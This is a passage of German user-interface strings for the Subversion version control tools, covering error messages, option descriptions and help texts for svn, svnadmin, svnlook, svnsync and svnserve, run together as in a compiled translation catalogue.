UUID-Fehler: Existierendes Verzeichnis »%s« wurde aus einem anderen Projektarchiv ausgechecktUUID-Fehler: Existierende Datei »%s« wurde aus einem anderen Projektarchiv ausgechecktKann die Existenz des Pfades »%s« nicht prüfenKann Transaktionsverzeichnis in »%s« in Revision %ld nicht anlegenKann keine Daten aus dem Antwortkopf extrahierenKann »%s« in Revision %ld nicht im Projektarchiv findenKann »Auth« Datei nicht findenKann »%s« nicht sperrenUnmöglich über mehrere Projektarchive zu (ent)sperrenKann keinerlei Verzeichnisse erzeugenKann Namen für »%s« nicht erstellenKann keine ra_local-Verbindung zu einer URL aufbauenKann »Auth« Datei nicht zum Lesen öffnenKann »Auth« Datei nicht zum Schreiben öffnenProjektarchiv »%s« kann nicht geöffnet werdenKann Basis der Änderung nicht öffnenKonnte die URL »%s« nicht zerlegenÜberlappende Revisionsbereiche »%s« und »%s« mit verschiedenen Vererbungstypen können nicht verarbeitet werdenRückwärtiger Revisionsbereich »%ld-%ld« kann nicht verarbeitet werdenRevisionbereich »%ld-%ld« mit selber Start- und Endrevision kann nicht verarbeitet werdenUndefiniertes Tunnelschema »%s«Unerwartetes EOF im DatenstromUnerwartetes EOF beim Schreiben der DatenUnerwartetes Ende des EintragsUnerwartetes Ende der Svndiff-EingangsdatenUnerwarteter unveränderlicher Knoten bei »%s«Unerwartete Knotenart %d für »%s«Unerwarteter Knotentyp gefundenUnerwartete oder unbekannte EigenschaftsartUnerwartete Serverantwort bei AnmeldungUnerwartetes »%s« gefunden: Pfad wird als »fehlend« markiertUnbekannter DateisystemtypUnbekannter Dateisystemtyp »%s«Unbekannte XML Kodierung: »%s«Unbekannte AutorisierungsmethodeUnbekannte ÄnderungslisteUnbekannter Befehl »%s«Unbekannter Befehl: »%s«
»%s« hat einen unbekannten EintragstypUnbekannter Aufzählungswert in BaumkonfliktbeschreibungUnbekannter Fehler beim Hinzufügen des Servers zu »memcache«Unbekannter Fehler beim Anlegen von apr_memcache_tUnbekannter Fehler beim Erzeugen eines »memcache«-ServersUnbekannter Hostname »%s«Unbekannte Art der Knotenrevision im Zwischenspeicher: »%c«Unbekannter »memcached«-Fehler beim LesenUnbekannter »memcached«-Fehler beim Schreiben»%s« hat einen unbekannten KnotentypUnbekannter Knotentyp für Darstellung »%s«Unbekannter Knotentyp im Zwischenspeicher: »%c«Unbekannte oder unerwartete Art für Pfad »%s«Unbekannter oder unerwarteter Typ für »%s«Unbekanntes Revisionseigenschaftswort »%s« in Log-KommandoUnbekannter Status »%s« in Antwort auf BefehlUnbekannter Status für SperrbefehlUnbekannter Status für EntsperrbefehlUnbekanntes svn-ProtokollkommandoUnbekannter svn_node_kindEntsperrenSperrfreigabe gescheitert: %d %sAntwort beim Entsperren ist keine ListeEntsperren erfolgreich, aber die Aktion »post-unlock« schlug fehlHebt Sperren von Pfaden in Arbeitskopie oder URLs im Projektarchiv auf.
Aufruf: unlock ZIEL...

  Benutzen Sie --force, um die Freigabe zu erzwingen.
Nicht zusammenführbare Planungsanforderung für einen EintragNichtlesbarer Pfad angetroffen; Zugriff verweigertUnbekanntes URL-Schema »%s«Unbekanntes URL-Schema für »%s«Unbekannte binäre Datenkodierung, kann nicht entschlüsselnUnbekannte Datei im Parameter von --config-optionUnbekanntes Format für die relative externe URL »%s«Stil für Zeilenende nicht erkanntStil für Zeilenende für »%s« nicht erkanntUnbekanntes Log-Datei Element »%s« in »%s«Unbekannter Knotentyp: »%s«Unerkannte Knotenaktion auf Knoten »%s«Unerkannter Datensatz im DatenstromUnbekannter Revisionstyp für »%s« angefragtUnbekannter DatenstromNicht spezifizierte FehlermeldungNicht unterstütztes DateisystemformatNicht unterstützte Dateisystem-Laderversion (%d) für bdbNicht unterstützte Dateisystem-Laderversion (%d) für fsfsNicht unterstützte Zugriffsmodul-Laderversion (%d) für ra_localNicht unterstützte Zugriffsmodul-Laderversion (%d) für ra_neonNicht unterstützte Zugriffsmodul-Laderversion (%d) für ra_serfNicht unterstützte Zugriffsmodul-Laderversion (%d) für ra_svnNicht unterstützte ABI-Version des ZM-PluginsNicht unterstützter PrüfsummentypDateiabzug Version %d wird nicht unterstütztNicht unterstützter Knotentyp für Pfad »%s«Nicht unterstützte Reporttiefe »%s«Nicht unterstützte Version des ProjektarchivsNicht unterstütztes Schema in SQLite-Datenbank gefundenNicht unterstütztes Format der ArbeitskopieNicht abgeschlossene ID im ZwischenspeicherNicht versionierte Eigenschaft in Revision %ld:
Aktualisierung abgeschlossen.
Aktualisiert die Arbeitskopie auf eine andere URL.
Aufruf: 1. switch URL[@PEGREV] [PFAD]
        2. switch --relocate VON NACH [PFAD...]

  1. Platziert die Arbeitskopie so um, dass sie eine neue URL im Projektarchiv
     widerspiegelt. Dieses Verhalten ist ähnlich zu »svn update« und wird
     verwendet, um eine Arbeitskopie auf einen Zweig oder eine Marke im selben
     Projektarchiv umzustellen. Falls angegeben, spezifiziert PEGREV,
     in welcher Revision zuerst nach dem Ziel gesucht wird.

     Falls --force verwendet wird, führen nicht versionierte, behindernde
     Pfade in der Arbeitskopie nicht automatisch zu einem Fehler, falls die
     Umplatzierung versucht, den selben Pfad hinzuzufügen. Falls der
     behindernde Pfad vom selben Typ (Datei oder Verzeichnis) wie der
     entsprechende Pfad im Projektarchiv ist, wird er versioniert aber sein
     Inhalt bleibt wie er ist in der Arbeitskopie. Das bedeutet, dass
     nicht versionierte Objekte eines behindernden Verzeichnisses ebenso
     behindernd sein und versioniert werden könnten. Für Dateien werden alle
     inhaltlichen Unterschiede zwischen der Behinderung und dem Projektarchiv
     wie lokale Änderungen der Arbeitskopie interpretiert. Alle Eigenschaften
     des Projektarchivs werden auf den behindernden Pfad angewandt.

     Verwenden Sie die Option --set-depth, um eine neue Arbeitskopietiefe für
     die Ziele dieser Operation zu setzen. Zurzeit kann die Tiefe eines
     Arbeitskopieverzeichnisses nur erhöht werden (tiefer ineinander
     geschachtelt); eine Verzeichnistiefe kann nicht reduziert werden.

  2. Schreibt die Metadaten der Arbeitskopie so um, dass sie einer Änderung
     der URL folgen. Dies wird verwendet, wenn sich die Basis-URL eines
     Projektarchivs ändert (z.B. durch eine Schema- oder Hostnamenänderung),
     während Ihre Arbeitskopie immer noch das selbe Verzeichnis im selben
     Projektarchiv widerspiegelt.

  Siehe auch »svn help update« für eine Liste möglicher Buchstaben,
  die die durchgeführte Aktion beschreiben.
Externer Verweis aktualisiert zu Revision %ld.
Aktualisiert zu Revision %ld.
Eine Aktualisierung dieses Projektarchivs wird nicht unterstützt; versuchen Sie stattdessen »dump« und laden Sie die Daten mit »load« anderswoEine Aktualisierung des diesem Projektarchiv zugrundeliegenden versionierten Dateisystems wird nicht unterstützt; versuchen Sie stattdessen »dump« und laden Sie die Daten mit »load« anderswoBenutzen Sie »--force«, um diese Einschränkung aufzuhebenDie Verwendung zweier URLs ist nicht kompatibel mit Änderungen der ZusammenführungsinformationenBenutzer %s besitzt die Sperre für Pfad »%s« nicht (derzeit gesperrt durch %s)Der Benutzer »%s« versucht, eine von »%s« besessene Sperre im Dateisystem »%s« zu benutzenBenutzername und Sperreigner stimmen nicht übereinBenutzername: Auf gültige UTF-8-Daten
(hex:%s)
folgte eine ungültige UTF-8-Sequenz
(hex:%s)Der Wert kann nur mittels »force« gesetzt werdenFormat der Versionsdatei nicht korrektVersion von »%s« ist unerwartet: gefunden %d.%d.%d%s, erwartet %d.%d.%d%sWARNUNG: Verweis auf Daten in Revision %ld, welche älter als die älteste
WARNUNG: ausgegebene Revision (%ld) ist. Das Laden diese Datei in ein
WARNUNG: leeres Projektarchiv wird fehlschlagen.
Warte auf Freigabe des Projektarchivs; Vielleicht ist es durch einen anderen Prozess geöffnet?
Bei Pfaden innerhalb der Arbeitskopie darf nur ein Ziel angegeben werdenBeim Vorbereiten von »%s« für die ÜbertragungWindows-Service-Modus (Service Control Manager)Arbeitskopie »%s« ist nicht gesperrtArbeitskopie »%s« gesperrtArbeitskopie und Zusammnführungsquelle sind für eine Reintegration nicht bereitFormat der Arbeitskopie »%s« ist zu alt (%d); bitte checken Sie die
Arbeitskopie erneut ausArbeitskopie ist beschädigtArbeitskopie ist nicht aktuellArbeitskopie nicht gesperrt. Dies ist wahrscheinlich ein Fehler. Bitte melden.Arbeitskopie Pfad »%s« existiert nicht im ProjektarchivTextbasis der Arbeitskopie ist beschädigtSchreiben abgelehnt: Keine Berechtigung, alles von Revision %ld einzulesen.SchreibfehlerSchreibsperre gestohlen in »%s«Falsche Anzahl Ziele angegebenFalscher oder unerwarteter EigenschaftswertXML Daten nicht wohlgeformtXML-Parser schlug in »%s« fehlSie müssen genau einen der Parameter -d, -i, -t oder -X angeben.
Sie müssen genau einen der Parameter -d, -i, -t, --service oder -X angeben.
Ihr .svn/tmp Verzeichnis könnte fehlen oder beschädigt sein; führen Sie
»svn cleanup« aus und versuchen Sie es erneutIhre Logmeldung wurde in einer Temporärdatei abgelegt:[Fehlerausgabe konnte nicht gelesen werden.][Fehlerausgabe konnte nicht mit der aktuellen Locale-Einstellung nicht nach UTF-8 konvertiert werden.]akzeptiere unbekannte SSL-Server-Zertifikate ohne
                             Nachfrage (aber nur mit »--non-interactive«)hinzugefügtdirekte Eltern hinzufügenAllokiere neuen Kopieschlüssel (hole »next-key«)Allokiere neue Knoten-ID (hole »next-key«)Allokiere neuen Darstellungsschlüssel (hole »next-key«)Allokiere neue Darstellung, verwende ID weiter (hole »next-key«)Die apr-memcache-Bibliothek ist nicht verfügbarAutorisierung schlug fehlAutorisierung schlug fehl: %sausführliche MeldungenAnnotieren der WORKING-Revision wird nicht unterstütztErzeuge nächsten KopieschlüsselErzeuge nächste Knoten-IDErzeuge nächsten DarstellungsschlüsselUmgehe das Aktionssystem des ProjektarchivsAktion nach der Änderung der Revisionseigenschaft aufrufenAktion vor der Änderung der Revisionseigenschaft aufrufendie Aktion »post-commit« nach dem Übertragen von Revisionen aufrufendie Aktion »pre-commit« nach dem Übertragen von Revisionen aufrufenKann nicht mit Option »with-revprop« zuweisen (»=« entfernen)Schließe Änderungscursorverbindet mit dem Quellprojektarchiv mit dem Passwort PARverbindet mit dem Quellprojektarchiv mit dem Benutzernamen PARverbindet mit synchronisiertem Projektarchiv mit Passwort PARverbindet mit synchronisiertem Projektarchiv mit Benutzernamen PARKonnte keine Verbindung zum Server herstellenErzeuge ÄnderungenErzeuge Cursor zum Lesen von ZeichenErzeuge Cursor zum Lesen der ÄnderungenDaemonmodusgelöschtLösche ÄnderungenLösche Eintrag aus »copies« TabelleLösche Eintrag aus »nodes« TabelleLösche Darstellungrekursiv absteigen, das gleiche wie
                             --depth=infinityVerzeichnisdeaktiviere das automatische Entfernen von Log-Dateien [Berkeley DB]automatische Eigenschaften ausschaltendeaktiviere »fsync« für jede Übertragungstransaktion [Berkeley DB]Hilfe anzeigenAktualisierungsinformation ausgebenglobale »ignore«- und »svn:ignore«-Einstellungen
                             nicht beachtenkeine interaktiven Rückfragen ausgebenAnmeldeinformationen nicht zwischenspeichernLog-Ausgabe endet bei Kopieroperationengibt den anhängenden Zeilenumbruch nicht ausKeine Unterschiede für hinzugefügte Dateien ausgebenkeine Unterschiede für gelöschte Dateien ausgebenÄnderungslisten nach Übertragung nicht löschenZiele nicht freigebenerledigt.
Inkrementell ausgebeneditiertZusammenführungsinformationen sind leer
Zusammenführungsinformationskatalog ist leer
automatische Eigenschaften einschaltenexportiert%sHole ÄnderungenDateiDurchführung des Befehls erzwingenErzwinge Schreibschutz. Setze Einstellung in der
Projektarchivkonfiguration außer Kraft.Gültigkeit der Quelle für die Sperrmeldung
                             erzwingenGültigkeit der Quelle für die Logmeldung erzwingenAufruf: svnadmin UNTERBEFEHL ARCHIV_PFAD [Optionen & Parameter ...]
Geben Sie »svnadmin help <Unterbefehl>« ein, um Hilfe zu einem Unterbefehl
          zu erhalten.
Geben Sie »svnadmin --version« ein, um die Programmversion und die Datei-
          systemmodule zu sehen.

Verfügbare Unterbefehle:
Aufruf: svndumpfilter UNTERBEFEHL [Optionen & Parameter ...]
Geben Sie »svndumpfilter help <Unterbefehl>« ein, um Hilfe zu einem
          Unterbefehl zu erhalten.
Geben Sie »svndumpfilter --version« ein, um die Programmversion zu sehen.

Verfügbare Unterbefehle:
Aufruf: svnlook UNTERBEFEHL ARCHIV_PFAD [Optionen & Parameter ...]
Hinweis: Alle Unterbefehle, die die Parameter »--revision« und »--transaction«
         akzeptieren, werden ohne diese Parameter die neueste
         Revision des Projektarchivs verwenden.
Geben Sie »svnlook help <Unterbefehl>« ein, um Hilfe zu einem Unterbefehl
         zu erhalten.
Geben Sie »svnlook --version« ein, um die Programmversion und die Datei-
         systemmodule zu sehen.

Verfügbare Unterbefehle:
Aufruf: svnsync UNTERBEFEHL ZIEL_URL [Optionen & Parameter ...]
Geben Sie »svnsync help <Unterbefehl>« ein, um Hilfe zu einem
Unterbefehl zu erhalten.
Geben Sie »svnsync --version« ein, um die Programmversion und die
Zugriffsmodule zu sehen.

Verfügbare Unterbefehle:
Hole UUID des ProjektarchivsAusgabe für Verkettung formatierenbeim Zusammenführen Vorgänger ignorierenignoriere jede Projektarchiv-UUID, die im Datenstrom gefunden wird»svn:externals«-Definitionen ignorierenInetd-Modusungültiger Parameter »accept«Pfad in Arbeitskopie beibehaltengibt letzte geänderte statt aktueller Revisionen ausbegrenzt Operation durch Tiefe PAR (»empty«,
                            »files«, »immediates« oder »infinity«)abzuhörender Rechnername oder IP-Adresse
                             [Modus: daemon, listen-once]abzuhörender Rechnername oder IP-Adresse
                             [Modus: daemon, service, listen-once]abzuhörender Port
                             [Modus: daemon, listen-once]abzuhörender Port
                             [Modus: daemon, service, listen-once]»listen-once«-Modus (nützlich zum Debuggen)in das spezifizierte Verzeichnis im Projektarchiv ladenlokal %s, eingehend %s bei %skomplettes Rückführen aller nicht zusammengeführten
                             Änderungen der Quell-URLZwischenverzeichnisse erzeugenRevisionen als zusammengeführt markieren (mit -r
                             verwenden)Maximale Anzahl von Logeinträgenmaximale Anzahl LogeinträgeZusammenführungfehlendfehlende Option --accept»next-id« Datei beschädigtneinkein Elternteil mit »copyfrom«-Information wurde oberhalb »%s« gefundenkeine Fortschrittsanzeige (nur Fehler) auf die Standardausgabenichtsbeim Berechnen von Differenzen Vorgänger
                             berücksichtigenveraltet; versuchen Sie --depth=files oder
                             --depth=immediatesblockiertauf einer Revisionseigenschaft arbeiten (mit -r
                             oder -t verwenden)auf einer Revisionseigenschaft arbeiten (mit -r
                             verwenden)Nicht rekursiv hinabsteigennur auf Elementen der Änderungsliste PAR operieren
                             [äquivalent: --cl]Ausgabe in XMLInhalt der Datei PAR als zusätzliche Parameter
                             übergebenSo wenig wie möglich ausgebenGibt Unterschiede gegenüber der Quelle der Kopie auszusätzliche Informationen ausgebennichts oder nur Zusammenfassungen ausgebenEigenschaft »%s« wurde von »%s« gelöscht.
Eigenschaft »%s« wurde von Revision %ld im Projektarchiv gelöscht
Eigenschaft »%s« für »%s« gesetzt
Eigenschaft »%s« wurde für Revision %ld im Projektarchiv gesetzt
Konfiguration aus Datei PAR lesenSperrkommentar aus Datei PAR lesenLogmeldung aus Datei PAR lesenLies Eigenschaftswert aus Datei PARBenutzerkonfigurationsdateien aus dem Verzeichnis
                             PAR lesenlese KopieLese DateisystemrevisionLese KnotenrevisionLese Darstellungdurch Umschreiben der URL umplatzierenBezug zur Änderungsliste entfernenentferne redundante Berkeley-DB-Logdateien
                             aus dem Projektarchiv [Berkeley DB]alle Revisionseigenschaften abfragenkeine Revisionseigenschaften abfragenRevisionseigenschaft PAR abfragenRevisionseigenschaft »%s« in r%ld hat einen unerwarteten Wert im Projektarchiv (eventuell hat jemand anderer sie geändert?)Revisionseigenschaft »%s« in r%ld fehlt unerwarteterweise im Projektarchiv (eventuell hat jemand anderer sie gelöscht?)Revisionseigenschaft »%s« in r%ld ist unerwarteterweise im Projektarchiv vorhanden (eventuell hat jemand anderer sie gesetzt?)Basis des bereitzustellenden VerzeichnissesIm Vordergrund starten (nützlich zum Debuggen)
                             [Modus: daemon]setzt neue Tiefe der Arbeitskopie auf PAR (»empty«,
                            »exclude«, »files«, »immediates« oder »infinity«)setze die UUID des Projektarchivs auf die im Datenstrom gefundeneSetze UUID des ProjektarchivsRevisionseigenschaft PAR in neuer Revision
                             unter Verwendung des Formats name[=Wert] setzenSetze Benutzerkonfigurationsoption im Format:
                                 DATEI:ABSCHNITT:OPTION=[WERT]
                             Zum Beispiel:
                                 servers:global:http-library=serf
Zeige eine Zusammenfassung der ErgebnisseZeige Details für KopienZeige vollständige Pfade anstatt sie einzurückenzeige Hilfe zu einem Unterbefehlgibt die IDs der Knotenrevisionen jedes Pfades ausZeige Versionsinformationen des ProgrammsPasswort PAR angebengibt ein Passwort PAR an (veraltet;
                             siehe --source-password und --sync-password)Benutzername PAR angebengibt einen Benutzernamen PAR an (veraltet;
                             siehe --source-username und --sync-username)automatische Konfliktauflösungsaktion angeben
                            (»postpone«, »base«, »mine-conflict«,
                             »theirs-conflict«, »mine-full«, »theirs-full«,
                             »edit«, »launch«)automatische Konfliktauflösungsaktion angeben
                            (»base«, »working«, »mine-conflict«,
                             »theirs-conflict«, »mine-full«, »theirs-full«)PAR als Sperrkommentar verwendenPAR als Logmeldung verwendenRevisionsnummer PAR angegebenspezifizieren Sie PAR für Revisionsnummer (oder X:Y Bereich)Transaktionsname PAR angebenanzuzeigende Revisionen angeben
                             (»merged«, »eligible«)Speichere »checksum-reps«-DatensatzSpeichere KopiedatensatzSpeichere KnotenrevisionSpeichere KnotenherkunftdatensatzSpeichere DarstellungSpeichere TransaktionsdatensatzUnterbefehl benötigt einen Parameter
svn: Starten Sie »svn cleanup«, um die Sperren zu entfernen (Aufruf: »svn help cleanup« für Details)
svndiff-Daten verlangten nicht existierende QuelleVon svndiff verlangte Position ist jenseits des DatenstromendesSvndiff Fensterlänge ist beschädigtProtokolldatei von svnservesvnserve: Wurzelpfad »%s« existiert nicht oder ist kein Verzeichnis.
svnserve: Die Option --service ist nur gültig, wenn der Prozess durch den Service Control Manager gestartet wurde.
UmstellungAufruf des Editors »%s« gab Fehler %d zurückÄnderung stammt aus Revision PAR (wie
                             -r PAR-1:PAR). Falls PAR negativ ist,
                             gleichbedeutend zu -r PAR:PAR-1die in Revision PAR durchgeführte ÄnderungZeitüberschreitung beim Warten auf ServerWert behandeln, als sei er in der Zeichenkodierung
                             PAROperation testen, aber keine Änderungen durchführenTunnelmodusTunnel-Benutzername (Vorgabe ist der Name zur aktuellen UID)
                             [Modus: tunnel]Art des Projektarchivs: »fsfs« (Standard) oder »bdb«Unerwartete Art für revert-base »%s«unbekanntunbekannte Eigenschaft »%s«Unbekannter Operationnicht versioniertAktualisierungAufruf: 1. svnlook propget ARCHIV_PFAD PROPNAME PFAD_IN_PROJ
                            2. svnlook propget --revprop ARCHIV_PFAD PROPNAME

Gibt den Rohwert einer Eigenschaft eines Pfades im Projektarchiv aus.
Mit --revprop wird der Rohwert einer Revisionseigenschaft ausgegeben.
Aufruf: 1. svnlook proplist ARCHIV_PFAD PFAD_IN_PROJ
                              2. svnlook proplist --revprop ARCHIV_PFAD

Gibt die Eigenschaften eines Pfades im Projektarchiv aus.
Mit --revprop werden Revisionseigenschaften ausgegeben.
Mit -v werden auch die Eigenschaftswerte ausgegeben.
Aufruf: svn <Unterbefehl> [Optionen] [Parameter]
Subversion-Kommandozeilenclient, Version %s.
Geben Sie »svn help <Unterbefehl>« ein, um Hilfe zu einem Unterbefehl
          zu erhalten.
Geben Sie »svn --version« ein, um die Programmversion und die Zugriffsmodule
     oder »svn --version --quiet«, um nur die Versionsnummer zu sehen.

Die meisten Unterbefehle akzeptieren Datei- und/oder Verzeichnisparameter,
wobei die Verzeichnisse rekursiv durchlaufen werden. Wenn keine Parameter
angegeben werden, durchläuft der Befehl das aktuelle Verzeichnis rekursiv.

Verfügbare Unterbefehle:
Aufruf: svnadmin crashtest REPOS_PFAD

Öffnet das Projektarchiv in REPOS_PFAD und bricht ab. Simuliert
damit einen Prozess der bei geöffnetem Projektarchiv abstürzt.
Aufruf: svnadmin create ARCHIV_PFAD

Erstellt ein neues, leeres Projektarchiv im ARCHIV_PFAD.
Aufruf: svnadmin deltify [-r VON[:BIS]] ARCHIV_PFAD

Führt Vorgängerdeltifizierung auf den geänderten Pfaden innerhalb der
Revisionsspanne VON:BIS durch. Kurz gefasst komprimiert die Deltifizierung
das Projektarchiv, indem nur die Unterschiede oder Deltas zur vorigen
Revision gespeichert werden. Falls keine Revisionen angegeben wurden, wird
nur die HEAD-Revision deltifiziert.
Aufruf: svnadmin dump ARCHIV_PFAD [-r VON[:BIS] [--incremental]]

Gibt einen Abzug des Projektarchivs in einem portablen »Dump«-Format auf die
Standardausgabe aus. Rückmeldungen gehen auf den Standardfehlerkanal.
Gibt die Revisionen VON:BIS aus. Ohne Angabe eines Bereichs werden alle
Revisionen ausgegeben. Falls nur VON angegeben wurde, wird nur diese
Revision ausgegeben. Bei Angabe von »--incremental«, wird die erste ausgegebene
Revision nur die in dieser Revision geänderten Pfade enthalten. Andernfalls
wird jeder Pfad im Projektarchiv dieser Revision ausgegeben. (In jedem Fall
werden für die zweite und folgende Revisionen, nur in diesen Revisionen
geänderte Pfade ausgegeben.)
Aufruf: svnadmin help [UNTERBEFEHL...]

Beschreibt die Anwendung dieses Programms und seiner Unterbefehle.
Aufruf: svnadmin hotcopy ARCHIV_PFAD ARCHIV_PFAD_NEU

Erstellt eine Kopie des Projektarchivs im laufenden Betrieb.
Aufruf: svnadmin list-dblogs ARCHIV_PFAD

Gibt alle Log-Dateien der Berkeley Datenbank aus.

WARNUNG: Ändern oder Löschen von Log-Dateien, die noch
benutzt werden, wird ihr Projektarchiv beschädigen.
Aufruf: svnadmin list-unused-dblogs ARCHIV_PFAD

Listet ungenutzte Log-Dateien der Berkeley Datenbank auf.

Aufruf: svnadmin load ARCHIV_PFAD

Liest einen Datenstrom im »Dump«-Format von der Standardeingabe in das
Dateisystem des Projektarchivs ein. Falls das Projektarchiv vorher leer
war, wird seine UUID standardmäßig in diejenige geändert, die im Daten-
strom spezifiziert ist. Eine Fortschrittsanzeige wird an die Standard-
ausgabe gesendet.
Aufruf: svnadmin lslocks ARCHIV_PFAD [PFAD-IN-ARCHIV]

Gibt Beschreibungen aller Sperren auf oder unter PFAD-IN-ARCHIV aus (was,
falls nicht angegeben, die Wurzel des Projektarchivs ist).
Aufruf: svnadmin lstxns ARCHIV_PFAD

Gibt die Namen aller nicht übertragenen Transaktionen aus.
Aufruf: svnadmin pack ARCHIV_PFAD

Versucht, das Projektarchiv in ein effizienteres Speichermodell zu
transformieren. Dies muss nicht bei allen Projektarchiven möglich sein und in problematischen Fällen wird nichts getan.
Aufruf: svnadmin recover ARCHIV_PFAD

Lässt die Berkeley-DB-Rettungsprozedur auf einem Projektarchiv laufen.
Veranlassen Sie dass, falls Sie Fehlermeldungen erhalten haben, die Sie
dazu auffordern. Die Berkeley-DB-Wiederherstellung erfordert exklusiven
Zugriff auf das Projektarchiv. Der Vorgang wird nicht gestartet, falls
das Projektarchiv von einem anderen Prozess benutzt wird.
Aufruf: svnadmin rmlocks REPOS_PFAD SPERR_PFAD...

Entferne vorbehaltslos die Sperren von jedem SPERR_PFAD.
Aufruf: svnadmin rmtxns ARCHIV_PFAD TXN_NAME...

Löscht die benannte(n) Transaktion(en).
Aufruf: svnadmin setlog ARCHIV_PFAD -r REVISION DATEI

Setzt die Logmeldung der Revision REVISION auf den Inhalt der Datei DATEI.
Benutzen Sie »--bypass-hooks«, um die mit den Revisionseigenschaften zu-
sammenhängenden Aktionen nicht auszulösen (z.B. falls Sie keine E-Mail-
Benachrichtigung durch Ihre »post-revprop-change«-Aktion auslösen wollen
oder die Änderung von Revisionseigenschaften in der »pre-revprop-change«-
Aktion nicht gestattet wird).

ACHTUNG: Revisionseigenschaften sind nicht versioniert. Dieser Befehl
überschreibt also die vorherige Logmeldung endgültig.
Aufruf: svnadmin setrevprop ARCHIV_PFAD -r REV NAME DATEI

Setzt die Eigenschaft NAME der Revision REV auf den Inhalt der Datei DATEI.
Mit »--use-pre-revprop-change-hook«/»--use-post-revprop-change-hook«
lösen Sie die mit den Revisionseigenschaften zusammenhängenden Aktionen aus
(z.B. falls Sie E-Mail-Benachrichtigungen durch Ihre »post-revprop-change«-
Aktion versenden wollen).

ACHTUNG: Revisionseigenschaften sind nicht versioniert. Dieser Befehl
überschreibt also den vorherigen Wert der Eigenschaft.
Aufruf: svnadmin setuuid ARCHIV_PFAD [NEUE_UUID]

Setzt die Projektarchiv-UUID für das sich unter ARCHIV_PFAD befindliche
Projektarchiv neu. Falls NEUE_UUID angegeben ist, wird dies als neue
UUID des Projektarchivs verwendet, andernfalls wird eine brandneue UUID
für das Projektarchiv erzeugt.
Aufruf: svnadmin upgrade AK_PFAD

Aktualisiert das unter AK_PFAD befindliche Projektarchiv auf die letzte
unterstützte Schema-Version.

Diese Funktionalität wird als Hilfe für Projektarchiv-Administratoren
angeboten, die neue Subversion-Funktionalitäten verwenden möchten, ohne
ein möglicherweise aufwendiges »dump« mit anschließendem »load«
auszuführen. Die Aktualisierung führt deswegen nur die unbedingt
notwendigen Schritte aus, um dies zu erreichen, während die Integrität
des Projektarchivs erhalten bleibt. Es garantiert nicht den optimiertesten
Zustand des Projektarchivs wie ein »dump« mit anschließendem »load« dies
bewirken würde.
Aufruf: svnadmin verify ARCHIV_PFAD

Überprüft die im Projektarchiv gespeicherten Daten.
Aufruf: svnlook author ARCHIV_PFAD

Gibt den Autor aus.
Aufruf: svnlook cat ARCHIV_PFAD DATEI_PFAD

Gibt den Inhalt einer Datei aus. Ein vorangestellter »/« im DATEI_PFAD ist
optional.
Aufruf: svnlook changed ARCHIV_PFAD

Gibt die geänderten Pfade aus.
Aufruf: svnlook date ARCHIV_PFAD

Gibt das Datum aus.
Aufruf: svnlook diff ARCHIV_PFAD

Gibt Unterschiede von geänderten Dateien oder Eigenschaften im GNU-Stil aus.
Aufruf: svnlook dirs-changed ARCHIV_PFAD

Gibt diejenigen Pfade aus, die (durch Eigenschaftsmodifikationen) selbst
bzw. deren Dateien geändert wurden.
Aufruf: svnlook help [UNTERBEFEHL...]

Beschreibt die Anwendung dieses Programms und seiner Unterbefehle.
Aufruf: svnlook history ARCHIV_PFAD [PFAD_IN_PROJ]

Gibt Informationen über die Historie eines Pfades im Projektarchiv aus (oder
über das Basisverzeichnis, falls kein Pfad angegeben wurde.)
Aufruf: svnlook info ARCHIV_PFAD

Gibt den Autor, das Datum, die Größe der Logmeldung und die Logmeldung aus.
Aufruf: svnlook lock ARCHIV_PFAD PFAD_IN_PROJ

Wenn eine Sperre für einen Pfad im Projektarchiv existiert, beschreibe diese.
Aufruf: svnlook log ARCHIV_PFAD

Gibt die Logmeldung aus.
Aufruf: svnlook tree ARCHIV_PFAD [PFAD_IN_PROJ]

Gibt den Baum beginnend bei PFAD_IN_PROJ aus (falls angegeben, sonst an der
Basis des Baumes), wobei optional die IDs der Knotenrevisionen ausgegeben werden.
Aufruf: svnlook uuid ARCHIV_PFAD

Gibt die UUID des Projektarchivs aus.
Aufruf: svnlook youngest ARCHIV_PFAD

Gibt die neueste Revisionsnummer aus.
Aufruf: svnserve [-d | -i | -t | -X | --service] [Optionen]

Gültige Optionen:
Aufruf: svnserve [-d | -i | -t | -X] [Optionen]

Gültige Optionen:
Aufruf: svnsync copy-revprops ZIEL_URL [REV[:REV2]]

Kopiert die Revisionseigenschaften in einem gegebenen Revisionsbereich
von der Quelle, mit der es initialisiert wurde, auf das Ziel.

Falls REV und REV2 angegeben wurden, werden nur Eigenschaften für die
durch diesen Bereich angegebenen Revisionen kopiert. Falls nur REV
angegeben wurde, werden nur Eigenschaften für diese Revision kopiert.
Falls REV nicht angegeben wurde, werden alle Eigenschaften kopiert, für
die die Revisionen früher auf das Ziel übertragen wurden.

REV und REV2 müssen Revisionen sein, die vorher auf das Ziel transferiert
wurden. Sie können »HEAD« für eine Revision verwenden, im Sinne von »die
letzte übertragene Revision«.
Aufruf: svnsync help [UNTERBEFEHL...]

Beschreibt die Anwendung dieses Programms und seiner Unterbefehle.
Aufruf: svnsync info ZIEL_URL

Gibt Informationen über das Zielprojektarchiv der Synchronisation aus,
das sich unter ZIEL_URL befindet.
Aufruf: svnsync initialize ZIEL_URL QUELL_URL

Bereitet ein Zielprojektarchiv auf die Synchronisation mit einem
anderen Projektarchiv vor.

Die Ziel-URL muss auf die Basis eines leeren Projektarchivs ohne
übertragene Revisionen zeigen. Das Zielprojektarchiv muss Änderungen
an Revisionseigenschaften zulassen.

Falls die Quell-URL nicht die Wurzel eines Projektarchivs ist, wird nur
der angegebene Teil des Projektarchivs synchronisiert.

Übertragungen in das oder Eigenschaftsänderungen im Zielprojektarchiv
sollten ausschließlich mit »svnsync« vorgenommen werden.
Anders ausgedrückt stellt das Zielprojektarchiv einen Spiegel des
Quellprojektarchivs dar, auf den nur lesend zugegriffen werden darf.
Aufruf: svnsync synchronize ZIEL_URL

Überträgt alle laufenden Revisionen von der Quelle, mit der es
initialisiert wurde, zum Ziel.
Aufruf: svnversion [OPTIONEN] [AK_PFAD [ANGEH_URL]]

  Erzeugt eine kompakte »Versionsnummer« für den Pfad AK_PFAD der
  Arbeitskopie. ANGEH_URL ist der angehängte Teil der URL, welcher
  benutzt wird, um festzustellen, ob AK_PFAD selbst umgestellt wurde
  (die Erkennung von Umstellungen selbst innerhalb von AK_PFAD hängt
  nicht von ANGEH_URL ab). Die Versionsnummer wird auf die
  Standardausgabe ausgegeben. Ein Beispiel:

    $ svnversion . /repos/svn/trunk
    4168

  Die Versionsnummer ist eine einzelne Nummer, falls die Arbeitskopie
